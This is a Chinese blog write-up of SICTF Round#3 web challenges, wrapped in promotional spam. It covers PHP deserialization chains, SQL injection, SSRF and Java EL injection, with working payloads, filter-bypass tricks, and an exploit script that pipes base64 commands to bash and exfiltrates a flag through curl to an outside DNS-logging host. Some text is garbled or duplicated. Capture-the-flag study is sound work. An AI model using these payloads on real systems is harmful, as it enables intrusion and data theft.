SICTF Round#3 Web方向 题解WP_nssctf round new year ring 3(1)

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

class ET{
public function __isset(KaTeX parse error: Expected '}', got 'EOF' at end of input: … foreach (_GET[‘get’] as $inject => KaTeX parse error: Expected '}', got 'EOF' at end of input: … putenv("{inject}={$rce}");
}
system(“echo “Haven’t you get the secret?””);
}
}

//start::__destruct()->start::begin0fweb()->SE::__set()->CR::__tostring()->ET::__isset()

$a=new start();
$a->welcome=new SE();
$a->welcome->year=new CR();
$a->welcome->year->newyear=“\x0aworries”;
$a->welcome->year->last=new ET();

echo base64_encode(serialize($a));

?>


传参如下:(有个编码问题,是个坑)



?get[BASH_FUNC_echo%25%25]=() { tac /ffffllllllaaaaaaaaaaaaaaaaaaggggg; };

go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9


![image-20240216205545963](https://img-blog.csdnimg.cn/img_convert/0ddb792a8e820baa66dcaf82661f2ca1.png)


## hacker


题目描述:这好像不是简单的sql注入


开题,源码有提示


![image-20240218195140983](https://img-blog.csdnimg.cn/img_convert/92d51043226d336365b1cd88fb4fb744.png)


直接查询没有反应


![image-20240218195351064](https://img-blog.csdnimg.cn/img_convert/f8e6fa53674fbfaf0b9dbf0e5d22b528.png)


burp打一下fuzz,发现过滤了以下部分


![image-20240218195553025](https://img-blog.csdnimg.cn/img_convert/3445665de60c06dc39d8833044d3e17c.png)


这题考无列名注入,可以看我的文章(才发现这篇访问有9k啊啊啊):[NSS [HNCTF 2022 WEEK2]easy\_sql\_nss上的sql-CSDN博客]( )


payload:



1’//union//select//2//from//(select//1,2//union//select//*//from/**/flag)xxx%23


![image-20240218200819659](https://img-blog.csdnimg.cn/img_convert/289b4966ac1da2b51c5252b63564f075.png)


## Oyst3rPHP


题目描述:I think that Oyst3rphp is the best


开题,看饿了


![image-20240218201154139](https://img-blog.csdnimg.cn/img_convert/417d912508c1bdd82d52e9e76a2da87d.png)


没啥发现,骚一波看看,收获满满


![image-20240218201406166](https://img-blog.csdnimg.cn/img_convert/510daa7a024a73b8ecd25041460dc234.png)


源码readme发现是TP6


![image-20240218201618345](https://img-blog.csdnimg.cn/img_convert/aff74d7d444b8592ffbf33f5cfd2e582.png)


工具检测不到


![image-20240218201720974](https://img-blog.csdnimg.cn/img_convert/6bcdc6f929dd5d49aaa87811db38000f.png)


所以我们再看看源码。估计有部分改动,我们要手动打。


`/app/controller/index.php`



<?php namespace app\controller; use app\BaseController; class Index extends BaseController { public function index() { echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈"; echo "

flag不在`/flag`。payload变量不会执行,我们注意力放在url变量上,file协议直接读。


POC:



<?php highlight\_file(__file__); error\_reporting(0); function get($url) { $curl = curl\_init(); curl\_setopt($curl, CURLOPT\_URL, $url); curl\_setopt($curl, CURLOPT\_HEADER, 0); curl\_setopt($curl, CURLOPT\_RETURNTRANSFER, true); $data = curl\_exec($curl); curl\_close($curl); echo base64\_encode($data); return $data; } class client{ public $url; public $payload; public function \_\_construct() { $url = "http://127.0.0.1/"; $payload = "system(\"cat /flag\");"; echo "Exploit"; } public function \_\_destruct() { get($this->url); } } $a=new client(); $a->url='file:///var/www/html/flag.php'; echo serialize($a); ``` ![image-20240218202923197](https://img-blog.csdnimg.cn/img_convert/5330b7d6d7db9b429b7611a7e3744d0f.png) payload: ``` ?Harder=O:6:"client":2:{s:3:"url";s:29:"file:///var/www/html/flag.php";s:7:"payload";N;} ``` base64解码 ![image-20240218202939395](https://img-blog.csdnimg.cn/img_convert/28b8d93045b1e3a41d6d189b8de8d1da.png) ## [进阶]elInjection 题目描述:快写个exp打死我! hint: > > 利用ScriptEngine基础上可以使用Base64编码Bypass > > > 非预期解法dns出网情况下,dns换行导致解析失败可以使用命令,ls /|head -n 1|tail -n -1,来读取行数 > > > flag没有权限读取,执行/readflag获取 > > > 套双层ScriptEngineManager的eval执行java.util.Base64解码内容 > > > 开题 ![image-20240219004411863](https://img-blog.csdnimg.cn/img_convert/4ca512fb7b102cb473de9eb538869905.png) IDEA反编译一下看看,源码如下: ``` package com.example.elinjection.controller; import de.odysseus.el.ExpressionFactoryImpl; import de.odysseus.el.util.SimpleContext; import java.util.ArrayList; import java.util.Iterator; import javax.el.ExpressionFactory; // EL表达式工厂的基类,用于创建值表达式和方法表达式 import javax.el.ValueExpression; // 表示带有获取和设置功能的表达式 import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; // 使用@RestController注解,自动处理响应体的序列化,并将该类标记为Spring MVC控制器 @RestController public class TestController { // 定义无参构造函数,通常用于初始化操作,这里未进行具体操作 public TestController() { } // 使用@RequestMapping注解映射"/test"路径的HTTP请求到该方法,@ResponseBody指示返回值为响应体 @RequestMapping({"/test"}) @ResponseBody public String test(@RequestParam(name = "exp") String exp) { // 创建一个字符串列表,存储被认为可能执行危险操作的字符串 ArrayList list = new ArrayList(); list.add("Runtime"); list.add("exec"); list.add("invoke"); list.add("exec"); list.add("Process"); list.add("ClassLoader"); list.add("load"); list.add("Response"); list.add("Request"); list.add("Base64Utils"); list.add("ReflectUtils"); list.add("getWriter"); list.add("Thread"); list.add("defineClass"); list.add("bcel"); list.add("RequestAttributes"); list.add("File"); list.add("flag"); list.add("URL"); list.add("Command"); list.add("Inet"); list.add("System"); list.add("\\u"); list.add("\\x"); list.add("'"); // 使用迭代器遍历上面创建的字符串列表 Iterator var3 = list.iterator(); String s; // 循环检查输入的表达式中是否包含列表中的任何字符串 do { if (!var3.hasNext()) {//遍历结束,没有黑名单内字符串 // 如果输入的表达式不包含任何敏感字符串,则使用EL处理输入的表达式 ExpressionFactory expressionFactory = new ExpressionFactoryImpl(); SimpleContext simpleContext = new SimpleContext(); // 创建一个值表达式,用于在给定的上下文中评估exp ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class); // 获取并执行表达式的值,但是这里没有使用执行结果 valueExpression.getValue(simpleContext); // 返回原始的表达式字符串 return exp; } // 如果找到敏感字符串,则将s设置为该字符串 s = (String)var3.next(); } while(!exp.contains(s)); // 如果输入表达式包含任何敏感字符串,返回"No" return "No"; } } ``` 在源码中发现其会`使用EL处理输入的表达式`。不难联想到Java安全中的EL表达式注入。 参考文章: > > [『Java安全』EL表达式注入-CSDN博客]( ) > > > [javaweb学习总结(二十九)——EL表达式 - 孤傲苍狼 - 博客园 (cnblogs.com)]( ) > > > [浅析EL表达式注入漏洞 - 先知社区 (aliyun.com)]( ) > > > --- EL表达式全称Express Language,语法:`${EL表达式}` EL表达式默认为启用,jsp会解析EL表达式,除非配置`<%@ page isELIgnored ="true|false" %>`,或者是全局pom.xml设置如下代码 ``` *.jsp true ``` **EL表达式注入**:外部输入可控、输入会被解析从而造成注入漏洞 主要的注入表达式(利用): ``` // 获取环境变量 ${applicationScope} // 获取web绝对路径 ${pageContext.servletContext.getResource("")} // 命令执行 ${pageContext.setAttribute("a", Runtime.getRuntime().exec("calc"))} ``` **绕过防御方式**: 1、反射 通常直接rce是不行的,通常会用到反射 ``` ${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))} ``` 2、js引擎rce ``` ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")} ``` 3、String类动态生成命令字符串(ASCII) 对于命令被明文过滤的情况 ``` // 字符串 wh,多个cocnat嵌套构造whoami //-> java.lang.Character.toString(119).concat(java.lang.Character.toString(104)) true.toString().charAt(0).toChars(119)[0].toString().concat(true.toString().charAt(0).toChars(104)[0].toString()) ``` 4、base64编码绕过 ``` .exec(cmd) //-> .exec("bash -c {echo,"+base64.b64encode(cmd).decode()+"}|{base64,-d}|{bash,-i}") ``` 5、套双层eval ``` ${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("function myfuc(a){ return eval(a)};myfuc(String.fromCharCode(106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,89,121,65,105,89,51,86,121,98,67,66,103,76,51,74,108,89,87,82,109,98,71,70,110,89,67,53,107,89,51,90,108,101,72,108,114,78,121,53,121,90,88,70,49,90,88,78,48,99,109,86,119,98,121,53,106,98,50,48,105,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125,39,41))")} //106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,89,121,65,105,89,51,86,121,98,67,66,103,76,51,74,108,89,87,82,109,98,71,70,110,89,67,53,107,89,51,90,108,101,72,108,114,78,121,53,121,90,88,70,49,90,88,78,48,99,109,86,119,98,121,53,106,98,50,48,105,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125,39,41 //【解码后】java.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtYyAiY3VybCBgL3JlYWRmbGFnYC5kY3ZleHlrNy5yZXF1ZXN0cmVwby5jb20i}|{base64,-d}|{bash,-i}') ``` --- 由于源码过滤,我们绕过方式选用js引擎rce+ASCII+base64编码绕过(上文234) 具体利用方式见python脚本: ``` import requests import base64 def encode(payload): encode_payload = "" for i in range(0, len(payload)): if i == 0: encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0]) else: encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i]) return encode_payload cmd = b"curl `/readflag`.dcvexyk7.requestrepo.com" bs_cmd=base64.b64encode(cmd).decode() ASC_bs_cmd=encode("java.lang.Runtime.getRuntime().exec(\"bash -c {echo,"+base64.b64encode(cmd).decode()+"}|{base64,-d}|{bash,-i}\")") #print(ASC\_bs\_cmd) exp = '${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval('+ASC_bs_cmd+')}' #print(exp) url = "http://yuanshen.life:23333/test" data = {'exp': exp} r = requests.post(url, data).text print(r) ``` ![image-20240219004345692](https://img-blog.csdnimg.cn/img_convert/1a4b16c58f63b309d4e69bf97b393b7c.png) 网上其他的payload: 1、套双层eval,这个应该是预期解 ``` exp=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("function test(a){ return eval(a)};test(String.fromCharCode(106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,89,121,65,105,89,51,86,121,98,67,66,103,76,51,74,108,89,87,82,109,98,71,70,110,89,67,53,121,98,122,100,111,77,88,107,117,89,50,86,53,90,83,53,112,98,121,73,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125,39,41))")} ``` 2、使用了 Yakit Fuzzer 语法(后生不才,没怎么看懂) ``` {{url(${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(java.net.UR".concat("LDecoder.decode(\"{{url({{p(javascript)}})}}\"))"))})}} ``` 接下来就是 `javascript` 变量了, 出题人说直接读 `/readflag`, 同时机器只有 DNS 出网, 于是我们使用 DNSLOG 外带 构造 ``` curl `/readflag`.fagjd.z9z.topcontent_copy ``` 然后处理一下得到 ``` java.lang.Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgL3JlYWRmbGFnYC5mYWdqZC56OXoudG9w}|{base64,-d}|{bash,-i}").getInputStream();content_copy ``` **先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7** **深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!** **因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。** ![img](https://img-blog.csdnimg.cn/img_convert/0dc6fbeb1b45a34ac9aa40d4b5571e7a.png) ![img](https://img-blog.csdnimg.cn/img_convert/7923675a999aea768a25a6d2bc0f7da6.png) ![img](https://img-blog.csdnimg.cn/img_convert/4d2a5fab43c8da9baef74071600e70bd.png) ![img](https://img-blog.csdnimg.cn/img_convert/05c5e11e00d2c5a0a501cfd66a68e83a.png) ![img](https://img-blog.csdnimg.cn/img_convert/da755aa828ec2dbe9f461c3f5a2bd0e6.png) ![img](https://img-blog.csdnimg.cn/img_convert/7a7f34a3f49173b801c10c894056fb99.png) **既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!** **需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)** **由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新** **[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)** ho,Y3VybCBgL3JlYWRmbGFnYC5mYWdqZC56OXoudG9w}|{base64,-d}|{bash,-i}").getInputStream();content_copy ``` **先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7** **深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!** **因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。** [外链图片转存中...(img-0PEPnoSi-1715900067992)] [外链图片转存中...(img-vOFuFnwQ-1715900067993)] [外链图片转存中...(img-9TNEB55p-1715900067994)] [外链图片转存中...(img-or3cPCjo-1715900067995)] [外链图片转存中...(img-PYWvTeHt-1715900067995)] [外链图片转存中...(img-eLHKkjXl-1715900067996)] **既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!** **需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)** **由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新** **[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**
  • 28
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值